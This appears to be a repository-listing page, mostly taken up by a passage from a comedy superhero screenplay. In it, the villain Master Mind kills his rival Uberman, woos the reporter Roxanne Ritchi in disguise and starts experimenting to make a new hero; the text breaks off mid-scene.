19 skills found
Aizistral-Studios / No Chat ReportsDisable Player Chat Reporting and make user messages untrackable.
rprokap / Pset 9CREDITS SEQUENCE NEWSPAPER HEADLINE MONTAGE: HEADLINES flash before us, displaying their accompanying photographs. "UBERMAN - METRO CITY'S HERO AFTER DEFEATING MASTER MIND! PHOTO: A chiseled, statuesque man wearing the COOLEST SUPER HERO SUIT IMAGINABLE, COMPLETE WITH FLOWING CAPE, shines a confident smile at the lens. This is UBERMAN, champion of METRO CITY. "UBERMAN DEFEATS MASTER MIND'S GIANT ROBOT!" PHOTO: Wide-shot of Uberman in mid-flight lifting the GIANT ROBOT in the sky above the city buildings. "MASTER MIND ALL WET AFTER UBERMAN FOILS AQUARIUM HEIST!" PHOTO: Uberman stands knee-deep in water. He has his enemy by the collar. The villain blocks his face from the shot with a METALLIC GAUNTLET. The images start to flash by even quicker, each showing the MYSTERIOUS VILLAIN in various stages of humiliation. In each photograph he successfully blocks his face with his armored glove. We ZOOM IN to the last headline. "MASTER MIND BEHIND BARS ONCE AGAIN - THANKS TO UBERMAN!" PHOTO: Uberman stands in a gallant pose with his fists on his hips, obviously trying to accentuate the "U" insignia on his chest. END OF CREDITS SEQUENCE EXT. BUILDING - DAY We DISSOLVE from the photograph to Uberman standing in the exact same position. WE PULL BACK showing him atop a BUILDING overlooking the city below. A perfect view for our guardian hero. He watches the thriving metropolis, bristling with life as people happily go about their day. Yet, we can't help but detect a hint of sadness in Uberman's expression. 2. UBERMAN You look so peaceful from up here. His serenity is suddenly interrupted by a loud BEEPING SOUND coming from his wrist. He looks down at a BRACELET (a manly one) on his right arm. It's a silver band with a FLASHING red letter "U". UBERMAN (CONT'D) Looks like Roxanne's in trouble again. Uberman leaps off the building and into the air. His cape gracefully flows in the breeze behind him as he shoots off into the distance like a speeding bullet. EXT. OBSERVATORY HIDEOUT - ESTABLISHING SHOT Grime and moss decorate the outside of this long abandoned building overlooking the COAST. Once a place of knowledge and wonder - now home to a great evil. INT. OBSERVATORY HIDEOUT - DAY The inside is in complete contrast to the exterior. The huge hall with a GIANT TELESCOPE teems with advanced ELECTRONIC EQUIPMENT. Computers, monitors and machines which do not have an obvious function FLASH and HUM. A STEEL DOOR slides open, revealing the subject of our story MASTER MIND - a villainous sight to behold. His FACE IS INEXPLICABLY LIGHT BLUE, topped by an OVERSIZED, MUSHROOM- SHAPED HEAD with a CIRCULAR PATCH OF WHITE HAIR ON TOP. He's dressed in the kind of costume only a super villain could pull off: a PURPLE JUMPSUIT AND BLACK BOOT ENSEMBLE WITH A GIANT GREEN "M" ON THE CHEST. His right hand, hanging at his side, is a METAL GAUNTLET WITH THREE SHORT SPIKES PROTRUDING BETWEEN HIS KNUCKLES. Master Mind begins to survey the room with his TWO PERMANENTLY ARCHED EYEBROWS. A man dressed as ALBERT EINSTEIN is busy ranting to two other men. One, a hulking brute, is dressed as LEONARDO DA VINCI. The other, a small intellectual-type carrying a clip-board, is dressed as the philosopher PLATO. EINSTEIN I hate the outfits. I mean, I get it: we're all supposed to be "masterminds" - very clever. (MORE) 3. EINSTEIN(cont'd) I just feel stupid. I mean, what the hell did Einstein really do anyway? PLATO Theory of relativity. Einstein starts feverishly scratching his side. EINSTEIN Well, you'd think he'd invent a wool sweater that didn't itch so much. Da Vinci and Plato's eyes suddenly grow with concern as they see Master Mind walk up behind Einstein. Einstein notices his colleague's staring over his right shoulder and turns around. He turns around and Master Mind SEIZES HIM BY HIS THROAT with his metal gauntlet. MASTER MIND The real Einstein once said, "God does not play dice with the world." He was right, because the world is MY dice. Is that understood? DA VINCI & PLATO Sir! Yes, sir! EINSTEIN (gasping for air) Yes, sir. Master Mind undoes his grip on Einstein's throat. MASTER MIND Alright, then - clean slate. Do we have the girl? DA VINCI Yes, sir. She fell into our trap just like you knew she would. MASTER MIND Reporters are a curious lot, and easily manipulated. He quickly checks his physique in a GIANT MIRROR, adjusts his posture and sucks in his gut. 4. MASTER MIND Alright, let's not keep the lady waiting. MOMENTS LATER Da Vinci escorts a BLINDFOLDED and bound woman, ROXANNE RITCHI, to the back of the room where Plato and Einstein are standing guard over a large BLACK SWIVEL-CHAIR facing away from us. She pulls free of Da Vinci's grasp and waits for him to undo the blindfold. Her face uncovered, we finally see Roxanne's striking features - all of which seem overshadowed by piercing eyes that seem more put off by the situation than afraid of it. MASTER MIND (O.S.) Miss Ritchi, we meet again. The chair turns menacingly slow, finally revealing Master Mind. ROXANNE You didn't need to turn around like that. I can recognize the stench of failure. Master Mind unleashes a wicked laugh. MASTER MIND I trust you gentlemen know the very sassy Roxanne Ritchi, highly regarded investigative journalist who some say has a more than friendly relationship with our super powered foe Uberman. And Miss Ritchi, I trust you've already met my new crew: The Mad Geniuses! Roxanne gives Einstein a once over. ROXANNE Looks like a real group of winners. At the risk of sounding cliche', you'll never get away with this. MASTER MIND In a way, I already have. Roxanne unleashes an exhausted SIGH. 5. ROXANNE We go through this every time. You kidnap me to get to Uberman, he immediately finds your hideout, escapes whatever lame trap you've come up with, and takes you and your cronies to jail. I propose we just save everybody some heartache this time by YOU letting me go, and ME forgetting this whole thing ever happened? MASTER MIND What about my revenge? ROXANNE We can say it was wasting everyone's time. MASTER MIND You have a wicked tongue. I hope you rid yourself of that when you're my queen. Roxanne unleashes a snort-filled laugh. ROXANNE I'm sorry. What makes you think I would want to be your queen? MASTER MIND Power corrupts absolutely, Miss Ritchi. And when I have ultimate power over this city, I have absolutely every intention of corrupting you with it. PLATO Sir! Master Mind turns to Plato who's now standing at a computer terminal. MASTER MIND (annoyed) What is it!? EXT. OBSERVATORY HIDEOUT - DAY Uberman flies toward the Observatory like a rocket. 6. INT. OBSERVATORY HIDEOUT - DAY Uberman crashes through the wall to the room we were just in. He looks around, but there's suddenly NOT A SOUL IN SIGHT. CUT TO: EXT. MASTER MIND'S HYDROFOIL - DAY The boat is shooting through the ocean, away from the observatory. INT. HYDROFOIL CONTROL ROOM - DAY Machines, cables and terminals criss-cross the craft's main bridge. Through the enormous surrounding windows we can see the observatory shrinking in the distance. Master Mind watches Uberman on a small TV monitor as the hero intently searches his hideout. UBERMAN (on monitor) Master Mind! INT. OBSERVATORY HIDEOUT - DAY Uberman throws up his arms in frustration when suddenly - MASTER MIND (O.S.) Over here, old friend. He turns to see a FAMILIAR BLUE FACE OF EVIL ON A GIANT SCREEN. UBERMAN What's the matter, miss your old jail cell? Uberman starts walking toward the monitor. MASTER MIND (ON MONITOR) Actually, I wanted to share the experience with my oldest friend. A MECHANIZED CAGE shoots out of the floor, suddenly trapping Metro City's protector. Totally unfazed, our hero stares on. 7. UBERMAN You can't possibly believe this will work. Master Mind pulls out a SMALL BLACK BOX with a SINGLE RED BUTTON on it. MASTER MIND (ON MONITOR) Oh, can't I? I have attained control of the Earth's most abundant energy source. I doubt even you are strong enough to withstand the FULL CONCENTRATED POWER OF THE SUN!!! He presses the button. EXT. OUTER SPACE A sinister-looking SATELLITE orbits Earth's atmosphere. Its bay doors suddenly open, deploying two huge SOLAR PANELS. The panels shift, angling themselves in the direction of the sun. They immediately start GLOWING as they absorb the burning star's power. The front of the satellite begins to make a loud HUMMING SOUND as it prepares to unleash its unholy power. INT. HYDROFOIL CONTROL ROOM - DAY From the giant window we can see the boat is a good mile from the observatory. PLATO We're now at minimum safe distance, master. Master Mind turns from the CAMERA he was broadcasting on and puts down the control box. MASTER MIND Excellent. Stop here, I like this view. PLATO Twenty seconds until impact. Master Mind turns to Roxanne who is being held by Da Vinci and Einstein. She almost appears a little bored. Disappointed by her lack of horror, he walks over to the monitor now showing Uberman trapped in the cage. 8. MASTER MIND Any last words? Uberman looks up at the screen with a cocky smile. UBERMAN (ON MONITOR) Yes: there's no caging the power of justice. PLATO Ten seconds to impact. On the screen we see Uberman take two of the cage's bars in his hands. He yanks...NOTHING. PLATO (CONT'D) Nine... Master Mind stares at the monitor, slightly confused. PLATO (CONT'D) Eight... Uberman yanks on the bars again, this time using his foot as leverage. MASTER MIND (genuinely concerned) What's going on? UBERMAN (straining) Hold...on...a second. Master Mind looks back at Plato and Einstein. They're equally befuddled at the hero's sudden weakness. PLATO Seven... Uberman loses his grip and FALLS BACKWARD ON HIS ASS. UBERMAN SON OF A BITCH!! Master Mind and the minions all cringe in unison. Da Vinci turns to Roxanne not believing his ears. DA VINCI What did he just say? 9. PLATO Six......Five... Master Mind begins to laugh. MASTER MIND What kind of trick is this? Uberman looks up at the camera with a very grave expression. UBERMAN Like you don't know. These bars are made of copper, aren't they? PLATO Four... MASTER MIND Yeah, so? Uberman tries to shield his grief with his hand. UBERMAN You figured out my weakness, damn you. I CAN'T BEND COPPER! PLATO Three... MASTER MIND Your weakness is copper? PLATO Two...one. Everyone turns to the window. EXT. OUTER SPACE The satellite fires a giant BEAM OF LIGHT toward the earth. EXT. OBSERVATORY HIDEOUT - DAY The beam hits the observatory. The building instantly EXPLODES in a white nova blast of fire. INT. HYDROFOIL CONTROL ROOM - DAY The blast is so bright everyone turns away from the window. Then, as suddenly as it began, the awesome light dies out. One by one, the passengers unshield their eyes and look out toward the observatory. 10. All we can see through the haze of destruction is fire and smoke. PLATO I don't think even he could have survived that. Einstein suddenly turns giddy with excitement. EINSTEIN Whoa! Is it me or did you just finally destroy Uberman? MASTER MIND (carefully skeptical) Well...let's not get ahead of ourselves. Da Vinci suddenly sees something outside. DA VINCI Look, there's something in the sky, coming this way. ROXANNE Uberman! Master Mind turns toward the window. An object is in the air, flying directly toward them. As it closes in we can just make out the FAMILIAR OUTLINE OF A CAPPED FIGURE. MASTER MIND I KNEW IT! PREPARE YOURSELVES! HE'S GONNA RAM US!!! Everyone scatters and braces themselves for the impact. Master Mind, seeing all the good places taken, doesn't know what to do with himself. He just covers his giant head with his hands. The figure CRASHES THROUGH THE WINDOW and lands at his feet. He looks down to see a CHARRED BLACK HUMAN SKELETON. Around its neck is the unmistakable black cape of Uberman. MASTER MIND (CONT'D) (horrified) HOLY SHIT! 11. Roxanne breaks out of Da Vinci's hold and runs over to the body. ROXANNE Uberman? She stares down at the still smoking corpse, the tattered black cape with the yellow "U" on it. Roxanne turns to Master Mind, who's still visibly dumbfounded at the grotesque sight before him. ROXANNE (CONT'D) You killed him! Roxanne's eyes roll back. Da Vinci catches her from behind as she FAINTS. Einstein turns to Master Mind, looking at him as if he's just walked on water. EINSTEIN You did it! Now that he's committed the impossible - our villain is at a complete loss. MASTER MIND ...so I did. EINSTEIN I mean, I know you always wanted to. I mean, all the schemes all the plots - I never thought you'd actually be capable of it. Giddy as a school girl, Einstein turns to his fellow henchmen. EINSTEIN This is history. Every villain and lackey in the history of villains and lackeys dream of this moment, but when does it actually EVER happen? A sudden realization comes over his face. EINSTEIN Good lord...You do all realize what we get to do now, don't you? 12. His question is met with acquisitive looks from Master Mind and the others. EINSTEIN We get to go on a crime wave. CRIME WAVE MONTAGE - SET TO "Fun Fun Fun" by The Beach Boys. SPINNING HEADLINE: "UBERMAN'S DEATH IGNITES CITY WIDE CRIME WAVE!" ARMORED TRUCK It's driving along when the men inside suddenly notice something - THEY'RE FLYING HIGH ABOVE THE CITY STREETS. We PULL BACK to see the truck being carried by a giant claw at the bottom of a BRAIN COPTER. Inside the cockpit Master Mind and his henchmen laugh maniacally. SPINNING HEADLINE: "CHAMPION-LESS CITY AT THE MERCY OF HOOLIGANS." METRO CITY BANK Da Vinci and Einstein run out the front of the bank holding BAGS OF MONEY. Two beat officers see them and take chase after them around the corner and into an alley. After a moment the police reemerge from the alley screaming and running for their lives as a GIANT ROBOT CHASES after them. The robot stops, then suddenly it's head opens up like convertible car top with Master Mind and Plato at the driver's wheel. They smile and shake hands at a bad deed well done. SPINNING HEADLINE: "MASTER MIND BLACKMAILS METRO!!!" A VICIOUS TORNADO It's heading for downtown Metro as Master Mind and the lackeys coolly look on. Three large DUMP TRUCKS pull up, filled to the brim with bricks of CASH. 13. The DRIVERS jump out as the lackeys take the driver seats in the three trucks. Master Mind is about to climb into the passenger seat of one when a drivers taps him on the shoulder and motions toward the tornado. MASTER MIND (absentmindedly) Oh, right. Master Mind pulls a television REMOTE from his pocket and aims it at approaching windstorm of death. He presses the button marked "Tornado Off." The tornado shrinks and disappears just before it hits the city. As they drive through the city streets, Master stares out the window with a hint of something in his eyes. Is it melancholy? END OF MONTAGE EXT. KINGPIN BOWLING - DAY It's Metro City's premier bowling alley. On top of the neon lit building is a GIANT 30 FOOT TALL CEMENT BOWLING BALL. INT. KINGPIN BOWLING - DAY HAL STEWART (early 30's) takes careful aim with his BOWLING BALL. HAL It's a sport of honor, focus and grace. Honor the ball, focus on the pins, release the ball not hard and fast, but as if you were releasing a baby dove. He takes a step, pulls back his arm, and releases the ball, following it with his eyes. It's a horrible shot - INSTANT GUTTER BALL. An aged barmaid type with a cigarette hanging from her mouth looks over at him. HAL Okay, do something like that - but center it more. 14. She picks up her custom made FOGHAT BALL and takes aim. ATTRACTIVE BLOND Tell me how my form looks, honey. Hal focuses on the misshapen bumps of her enormous Johnson administration era derriere. HAL Oh, it's lookin' good. It's lookin' REAL good. It doesn't get anymore clear. This man is a pig. VINNIE (O.S.) Hal, I want to see you in my office! Hal turns to see VINNIE, owner of the bowling alley, calling him. VINNIE Now! INT. KINGPIN BOWLING - VINNIE'S OFFICE - MOMENTS LATER Hal sits down, facing Vinnie who's sitting at his desk. VINNIE You're fired. Leave your shirt and locker key. This bit of news hits Hal like a freight train. HAL Fired? Are you going to tell me why? VINNIE Showing up to work late. Showing up to work late drunk. Sexually harassing customers. Stealing from the register. HAL Vinnie, I don't know where you're getting these accusations - Vinnie takes out a video tape from his desk drawer and puts in a VCR. 15. HAL Oh, which one do you supposedly have here? VINNIE This is all of them at once. TELEVISION A WOMAN walks up to a BOWLING EMPLOYEE and hands him a pair of shoes. As the employee turns to the wall of shoes, a very drunk and disheveled Hal comes running in and pushes him aside. HAL I've got this one, Benny. So, Cinderella. Can I help you find your glass slipper? WOMAN Yeah, I'm looking for a seven. He folds his arms on the counter and leans into her with a cat-like grin on his face. HAL (with a leer) Seven - Well, maybe I could interest you in something in an EIGHT. Namely, me. Disgusted, she walks off screen. HAL Lesbo. Suddenly realizing the register's open, he quickly grabs a stack of cash and shoves it in his pocket. BACK TO OFFICE Vinnie turns off the television and waits for Hal to respond. HAL From the angle of the camera, I can see where you might have gotten the wrong idea. Listen, Vinnie, I don't think you've thought this through. If you fire me, who's gonna be captain of the alley's bowling team? 16. VINNIE Um, I don't know. Maybe somebody who can actually bowl. You guys have never won a game. I hired you because you said you were on the pro circuit. HAL No, I said I WILL BE on the pro circuit. VINNIE Please, a loser like you will never amount to anything. This harsh remark seems to leave Hal genuinely stunned. HAL Wow...If that's how you feel...I guess we should then talk about what kind of severance I'm gonna get. EXT. KINGPIN BOWLING - DAY TWO BRUISERS open the door and throw Hal out onto the street. He quickly picks himself up and turns back toward the building. HAL Hey...what about my ball? A bowling ball sails past him, just missing his head. HAL Thank-you! EXT. CHANNEL 7 NEWS BUILDING - DAY The massive building with a giant 7 on the roof stands in the heart of Metro City. INT. CHANNEL 7 NEWS BUILDING - OFFICE - DAY The cubicles and offices are alive with the hustle and bustle of a busy news day. Phones are RINGING, REPORTERS are TALKING, and Editors are SHOUTING. The elevator doors open and out steps Roxanne Ritchi. 17. Everything stops as the entire office suddenly falls SILENT. Somewhat taken aback by the reaction, Roxanne scans the room to see every eye on her. ROXANNE It's...um...It's good to be back. Thanks for everyone's cards and concerns. I really appreciated it - now I'm ready to climb back on the horse. No one is budging - their looks of pity are really starting to make her uncomfortable. The back office door suddenly opens and out comes FRANK BONIN, the gruff, middle-aged Producer of Channel 7 News. Noticing the silence, he looks up and sees the sad expressions on everybody's face. FRANK Someone die or something? He suddenly notices Roxanne - both feet are placed firmly in his mouth. FRANK (cursing himself) Oh, Jesus. ROXANNE It's okay. Frank quickly walks up to Roxanne and takes her gently by the arm. FRANK Come on into my office, sweetie. INT. CHANNEL 7 NEWS BUILDING - FRANK'S OFFICE - CONTINUOUS He sits her down on his leather couch, then quickly turns toward his door. FRANK Can we get this woman some water for God's sake? (to Rebecca) I gave you two months off. What're you doing back? People are gonna think I'm a slave driver. 18. ROXANNE Aren't you? FRANK Yeah, but I don't want people to think it. ROXANNE Frank, listen. I want to go back to work. I NEED to go back to work. FRANK ...You're hysterical, aren't you? Frank sits down on the couch and blankets Roxanne with A WARM EMBRACE. ROXANNE What're you doing? FRANK Keeping you warm before you go into shock. (toward the open door) DO I HAVE SLICE OPEN A CAMEL HUMP TO GET A GLASS OF WATER AROUND HERE? A SECRETARY quickly enters with a bottled water. She sets it on the table in front of them and leaves. Roxanne pulls herself out of Frank's grasp and stands up to face him. ROXANNE It was a traumatic experience. Yes, everyone knows Uberman and me were...close. But what I really need - what would really make me better is getting back to work. There's a sudden awkward silence from Frank. FRANK Well, that's going to be... ROXANNE I thought you'd be happy to have me back. 19. FRANK Oh, we are. Honey, nothing makes us happier than to have our girl back, but... ROXANNE Yes? FRANK Things have sorta...changed. ROXANNE In three weeks? FRANK Listen, I'm not one who likes to open up wounds - especially ones that are just starting to scab, but you were sorta our go to girl for the exclusive on Uberman. And now that he's gone...I moved Brad into your anchor spot. ROXANNE (disgusted) Brad? Brad Helms? The man is an idiot. FRANK It's the suits. They think it's time to switch things up. ROXANNE Oh, because they can't use me to get the big story. FRANK C'mon, Roxie. Using is in the nature of what we do. They used you, you used Uberman. Everybody's happy. ROXANNE (defensive) I didn't use him. FRANK Oh, I didn't mean that. I know you two were in love or something. My bad. ROXANNE We were. 20. FRANK And that's great. ROXANNE Very in love. There's a hind of self-doubt in Roxanne's expression, as if she's failed to convince even herself of this. ROXANNE Okay. So, where are they going to move me if Brad has my spot? FRANK ...Human interest. ROXANNE Bake sales and pet stories. FRANK I told them I wouldn't be surprised if you just upped and quit. You busted your ass for that desk. Roxanne can hardly get it out - she's busy swallowing her pride ROXANNE I'll take it. Frank looks up at her, not believing what he's hearing. FRANK What? EXT. ABANDONED METRO CITY LIBRARY - NIGHT Amongst the jungle of high rises, one small building stands out from the rest - A tiny, forgotten piece of 19th century Gothic architecture. LIGHTENING FLASHES, revealing TWO CONCRETE GARGOYLES holding a cracked plaque, reading: METRO CITY LIBRARY. INT. ABANDONED METRO CITY LIBRARY - NIGHT A mixture of old and new. Dusty Victorian furniture and dilapidated bookshelves sit side by side with pristinely futuristic machinery. The building has been converted into Master Mind's new SECRET LAIR. 21. In the center of the main room is a three storey tall GLOWING BLUE ORB. At the base of it is a sign that reads "Reactor - Don't Touch." We PAN OVER to the READING ROOM where Master Mind is sitting on a couch watching TELEVISION. REPORTER ON TELEVISION (O.S.) It's been nearly six weeks, and still no word on the whereabouts of billionaire playboy, and philanthropist, Wayne Scott. Tune in at 11:00 as we look into what has become Metro City's biggest mystery. TELEVISION NARRATOR (O.S.) We now return to "The Hero of our Hearts: The Uberman story." Einstein and Plato come into the room holding a BAG OF LOOT. EINSTEIN Just robbed the diamond exchange. MASTER MIND (feigning pleasure) Great, great. Put it on the pile. Einstein tosses it on a LARGE PILE of purloined valuables in the corner of the room. EINSTEIN Anything else today? MASTER MIND No. Master Mind turns his attention back to the screen. Plato sees that Master Mind is in a funk and tries to snap him out of it. PLATO (cheerfully) Sir, the new reactor is installed. Plato nods to the giant orb. PLATO Do you want to throw the switch? I know how you love to start reactors. 22. MASTER MIND Maybe later. Einstein gives Master Mind a funny look then exchanges glances with Plato before leaving the two of them alone. Without turning away from the TV, Master Mind addresses Plato. MASTER MIND (CONT'D) What is it, Plato? PLATO (nervously) Sir, I can't help but notice that you've been...a little down lately. MASTER MIND When I want your opinion I'll beat it out of you. PLATO Yes, sir, I know, but please forgive my impertinence. It's just that you seem to have lost your lust for our profession. You've stopped going on jobs and spend most of your time watching Uberman specials. Master Mind relaxes slightly and turns to face the window in a classically contemplative pose. After an overdramatic beat... MASTER MIND I have defeated my greatest enemy. I have free reign over Metro City. I have more wealth than a thousand Sultans. I've achieved all I have worked for...so why am I so unhappy? He walks over to a PAINTED PORTRAIT that looks almost exactly like him, except slightly older, maybe meaner - MASTER MIND'S FATHER. MASTER MIND I mean, my father, god rest his evil and tormented soul, raised me straight from the test tube to be a symbol of evil. (MORE) 23. MASTER MIND(cont'd) And, I have accomplished something he had only dreamed about - the destruction of Metro City's champion. I tell you, I've always lived with this unquenchable thirst. I thought it was to make him proud or to get absolute power. But now that I've pretty much accomplished both, I am at a loss. PLATO ...I sort of have a theory about all that. MASTER MIND (snippy) Oh, really? PLATO Well, for one thing, maybe Uberman was more important to you than you thought. MASTER MIND He was a worthy rival. Sometimes I wonder, did he consider me his evil equal or was I just an annoying, little gnat to him? ...What's the second part? PLATO I think you sort of have a thing for Roxanne Ritchi. Master Mind quickly takes his lackey by the throat. MASTER MIND YOU WORM! HOW DARE YOU! WHERE WOULD YOU GET SUCH A NOTION? PLATO Sir, your plans always involve Ms. Ritchi either being kidnapped or placed in danger. If that's not love, I don't know what is. It's the grown up equivalent of dipping her pigtails in the ink well. Don't you see? She's the one treasure that's always escaped you. From Master Mind's expression, we see Plato's words beginning to ring true. 24. INT. RESTURAUNT - DAY Roxanne is having lunch with several girlfriends sitting around her, gabbing. FRIEND #1 I can't believe you came back so soon. FRIEND #2 Are you sure it's not TOO SOON, honey? ROXANNE I just wanted to get back to work. FRIEND #3 What we need to do is get you back on the saddle...the love saddle. Friend 1 and 2 give 3 disapproving looks. FRIEND #3 It's been three weeks. FRIEND #2 She just lost the love of her life, Grace. A WAITER comes by with a tray of CAESAR SALADS and begins setting them out for the ladies. ROXANNE I keep trying to tell people it wasn't really like that. Uberman and I - We were kinda having problems. We broke up. The waiter ALMOST DROPS HIS TRAY AT THIS. The women are too shocked by Roxanne's revelation to notice. FRIEND #1 You broke up with Uberman! FRIEND #3 You must have REALLY, REALLY high standards. I mean, you were dating a god. I mean, what's it take? ROXANNE Maybe someone who's a little more aware of his faults. Someone a little more sensitive. 25. FRIEND #3 Right. Someone who listens, sexy but attainable with cute little cheeks like a hamster and heartbreak in his eyes. She turns to Friend one and two to explain. FRIEND #3 She wants John Cusack. FRIEND #2 The actor? FRIEND #3 No, the famous pediatrist - Yes, the actor. Ever since we were teenagers, Roxanne's totally had the hots for him. ROXANNE Well, until he miraculously comes walking into my life, I'm just going to take a little reflection time for myself. The waiter gets a confused look on his face then slips away as Roxanne and her friends continue to chat away. EXT. RESTURAUNT - DAY The waiter tosses his apron in a trash can, then rolls up his sleeve and presses A STRANGE LOOKING DEVICE STRAPPED TO HIS WRIST. His image gets staticy, like a TV station going out, then disappears - revealing the man's true form underneath: MASTER MIND! MASTER MIND Who the hell is John Cusack? EXT. CITY STREET - DAY A YOUNG MOTHER pushes her baby stroller past a building construction site. ACROSS THE STREET A local POLITICIAN addresses a group of REPORTERS on the sidewalk, including Roxanne. 26. POLITICIAN The Fifth Avenue Renovation Project, which I championed, will breath new life into the downtown area. New life means new jobs and new revenue. ROXANNE Councilman, is it true that your brother-in-law's construction company won the contract for this project? POLITICIAN Well...er...yes, but...look I'm not here to answer a lot of crazy questions... YOUNG MOTHER The young mother stops halfway down the block, reaches into the stroller and tries to comfort her now crying baby. Above her, a CRANE is maneuvering a pile of STEEL GIRDERS to an upper floor. Hal comes around the corner and heads in her direction. CRANE The crane GRINDS TO A HALT. The OPERATOR has a confused look on his face as he moves levers back and forth in an effort to fix the problem. Hal stops a few feet from the woman and stoops down to tie his shoe. CRANE The operator's hand slips off the lever, hitting a RED BUTTON. To his horror the crane DROPS ITS LOAD OF STEEL. HAL AND THE WOMAN The woman looks up to see the girders seconds from crushing her and her baby. She screams. Hal looks up and sees it as well. He starts to run out of the way and crashes into the woman and stroller. ACROSS THE STREET 27. The reporters turns their cameras just in time to catch on film what appears to be Hal pushing the woman to safety just as the GIRDERS CRASH TO THE GROUND. HAL AND MOTHER Tears of joy in her eyes, the woman picks up her baby and kisses it. Hal struggles to catch his breath as the mother turns to him. YOUNG MOTHER Thank you! Thank you for saving me and my baby! She hugs him with her free arm, weeping with joy. HAL (not knowing what she's talking about) Huh? He's a little uncomfortable with the woman's public display of affection and the small child in-between their embrace. HAL (CONT'D) There, there. Hal slowly eases out of the woman's grip. HAL (CONT'D) Okay, we better...well, I hear these little guys smother easy. The reporters rush over and surround Hal and the mother. ROXANNE What's it feel like to be a hero? Hal looks up at Roxanne. Instantly, he's captivated by her beauty. HAL Well...I'm just a man doing what men do. You're Roxanne Ritchi, aren't you? They're suddenly interrupted when another reporter pushes his way in between them. REPORTER Were you scared? 28. HAL Scared? Who had time? The reporters eat this up. INT. ABANDONED METRO CITY LIBRARY - NIGHT TELEVISION John Cusack stands in the rain looking up at a window of a two story house. He holds up a BOOMBOX and "In Your Eyes" by Peter Gabriel begins to play. From the couch, Master Mind and his minions watch. MASTER MIND John Cusack, huh? So all I have to do is have a cute puppy dog stare, be willing to make a fool of myself and - Oh, REMOVE BOTH MY BALLS. He turns to see Da Vinci watching the movie and wiping a tear from his cheek. MASTER MIND Please, get a hold of yourself. INT. BOOKSTORE - NIGHT Roxanne is carrying a large paper coffee cup in her hands as she peruses the isles. She sets it down on a shelf to pull a book out and ends up KNOCKING THE DRINK OVER. ROXANNE Shit. She goes to pick it up when someone bends down and picks it up for her. Looking up to thank him, Roxanne is suddenly stunned speechless - It's popular and critically acclaimed actor JOHN CUSACK, or rather Master Mind disguised as him. "JOHN CUSACK" Oh the humanity - it was a Venti. ROXANNE (stunned) You're...you're. "JOHN CUSACK" Yes, it's me. John Cusack...the actor. 29. He notices the book she's reading. "JOHN CUSACK" Hey, is that Shelly? Wait, I think remember something from that one - Let's see: "My head is screaming `I want you and need you' - my heart it keeps reaching to see you and feel you - yet in the end, I'm alone once again." Wow, I scare even myself. I'm sorry. I'm just really into poetry. Probably because I'm so sensitive and always going to great lengths to express myself. But enough about me. Can I fill you up? ROXANNE (captivated) ...Yes. (catching herself) I mean, excuse me? "JOHN CUSACK" Can I fill you up? Your coffee. ROXANNE Right. INT. BOOKSTORE CAFE' - LATER Roxanne talks as John Cusack listens to her every word intently. ROXANNE I did have a boyfriend - until fairly recently. She suddenly begins to feel the stares around her as passers- by being to notice who she's with. ROXANNE I'm sorry - this is so surreal! "JOHN CUSACK" Yeah, they charge way too much at these places - Now back to your boyfriend. I'm interested and compassionate. I want to know about you. 30. ROXANNE Things were complicated. He was a man married to his work. There was...there was a lot of competition in his line of business. I'm sure you know what that's like. "JOHN CUSACK" Sure. In my business, one thing I have is RIVALS. For example, mine is...uh...Lou Ferr...igno. ROXANNE ...The body-builder who used to play The Hulk on TV? "JOHN CUSACK" Did he? Well, we're always up for the same roles. Did your boyfriend have someone like that? A particular rival that was always getting his goat - so to speak? ROXANNE Well...one rival in particular seemed to get more of his attention than I ever did. But enough about my problems. "JOHN CUSACK" NO, TELL ME MORE!!! Suddenly realizing his outburst, he begins COUGHING to mask it. "JOHN CUSACK" (CONT'D) I'm sorry. I got a whooping cough. Had it ever since Serendipity. I WONDER WHERE OUR REFILLS ARE!!! (fakes cough) See, there it goes again. Please, go on. ROXANNE Right, well, he seemed to need him more than he needed me. "JOHN CUSACK" How do you mean? 31. ROXANNE It was conflict he thrived on. He always said he wouldn't know what to do with himself if Master - I mean, this guy were gone. It was like he needed it, like oxygen. The answer to his mental funk hits him like a bolt of lightening. He turns away from her as if for private time. "JOHN CUSACK" (almost to himself) I think I finally understand...The only logical answer is to recreate that rivalry - or if that's impossible, create one of equal structure. That's it! ROXANNE What? John Cusack snaps out of his dream-like haze realizing she's heard every word. "JOHN CUSACK" Oh, sorry, sorry. Just rehearsing for a part...where I play a man who talks to himself at inappropriate times. In a sudden rush, he rises out of his chair. "JOHN CUSACK" I have to go right now, but I'd really like to see you again - if that's alright. Roxanne looks up at him - She can't help but laugh at the craziness of the situation. ROXANNE I'd love that. INT. ABANDONED METRO CITY LIBRARY - DAY Master storms in the office to find Plato and Einstein playing darts with the original Mona Lisa. EINSTEIN Got her nose! MASTER MIND I've got it! 32. Everyone stops what they're doing upon seeing that their master has returned. MASTER MIND I've got it! MASTER MIND It's plain and simple. Extraordinary minds need extraordinary stimulation. Without that stimulus they wither and die. Therefore, there is only one logical conclusion: I must create a new superhero. EINSTEIN Yeah, maybe that's not such hot idea... MASTER MIND (ignoring him) Prepare for Operation Superhero Genesis! INT. ABANDONED METRO CITY LIBRARY - LABORATORY - DAY The lab is slick, white and ultra modern. Dressed in a lab coat, Master Mind enters through a SLIDING GLASS DOOR rubbing his hands excitedly. MASTER MIND Prepare the subject. He glances down into a large HOLE in the floor to see a naked thirty year old man, SEVERS, shivering. Above the hole, a huge vat dangles precariously. Master Mind steps behind a glass partition next to Plato and Einstein. MASTER MIND (CONT'D) Plato, pour the toxic waste. Plato throws a switch causing the vat to tip hundreds of gallons of green and brown goo into the hole. MASTER MIND (CONT'D) Drainage. The slime is sucked out through the floor, leaving a goo- soaked Severs. 33. Master Mind looks into the pit. MASTER MIND (CONT'D) Well, Severs? SEVERS I feel fine. Just a little sticky, but aside from that everything's completely - BOOM - Severs explodes. A hail of blood and tissue covers Master Mind and his men. For a good ten seconds nobody moves an inch. Finally... MASTER MIND Okay then. INT. ABANDONED METRO CITY LIBRARY - LABORATORY - DAY Through a glass WATER TANK we see a man breathing normally. MASTER MIND And this one? PLATO We attached gills to him. He can breath under water. MASTER MIND Ah. Does he have extraordinary strength? PLATO Well...no. MASTER MIND Can he fly? PLATO No. MASTER MIND Resilient to weapons fire? PLATO No. MASTER MIND He just breathes under water, then. PLATO Ah...yeah. 34. Master Mind rolls his eyes and walks away. INT. ABANDONED METRO CITY LIBRARY - LABORATORY - DAY The next guinea-pig, STENWICK, is standing in a sealed glass tube not much wider than himself. MASTER MIND Plato, the radioactive spider, please. Plato throws the switch DROPPING A SINGLE SPIDER onto 